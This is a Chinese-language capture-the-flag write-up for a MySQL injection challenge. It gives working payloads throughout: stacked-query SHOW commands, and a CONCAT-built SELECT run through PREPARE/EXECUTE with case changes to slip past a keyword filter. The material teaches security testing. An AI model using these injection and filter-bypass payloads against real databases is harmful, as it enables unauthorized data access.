0x00 前言
由于这道题过滤了大部分常用的查询语句,本菜鸡得到字段名是一点办法没有,之后参考一位师傅的文章还是学习到了很多的姿势.
0x01 涉及知识点
1)堆叠注入,这里不详细说了.
2)Mysql预处理语句:
1.prepare:准备一条sql语句,并分配给这个语句一个名字供之后使用.
2.execute:执行该语句
3.deallocate prepare:释放语句
PREPARE stmt_name FROM preparable_stmt EXECUTE stmt_name [USING @var_name [, @var_name] ...] {DEALLOCATE | DROP} PREPARE stmt_name
个人以为这种预处理可以理解位函数的执行过程:[定义函数,确定参数]->[传入参数,执行函数]->[释放空间]
0x02 解题
1)查询[1'],确定是字符型注入
2)猜解字段数,查询[1' order by 3 #],报错,尝试[1' order by 2 #],正常
3)尝试联合查询[1' and 1=0 union select 1,2 #],查询发现关键字被过滤,由于preg_match()函数的是匹配次数,所以双写绕过无效,正则中的/i模式是忽略大小写,所以大小写绕过无效.
4)尝试堆叠注入[1';show databases #],先查数据库名,可行.
5)常规思路,查表名:[1';show tables #]
6)查询words字段名:[1';show columns from `words` #]
查询数字表中的字段值:[1';show columns from `1919810931114514` #],看到flag字段.
这里有个小知识点就是表名要用` `(反括号)引起来,注意一下.
7)堆叠注入到这里就没办法了,因为堆叠注入查询不到字段的具体值.
8)下面就参考师傅的方法,使用上面说到的预定义语句.
set @a=concat("sel","ect flag from `1919810931114514`"); prepare inject from @a; //给这条语句起名inject execute inject; //执行该语句
尝试注入[1';set @a=concat("sel","ect flag from `1919810931114514`");prepare inject from @a;execute inject; #]
发现"set"和"prepare"被过滤,那么就试试大写绕过:[1';Set @a=concat("sel","ect flag from `1919810931114514`");Prepare inject from @a;execute inject; #]
感谢出题人的怜悯,大写可以绕过,得到flag.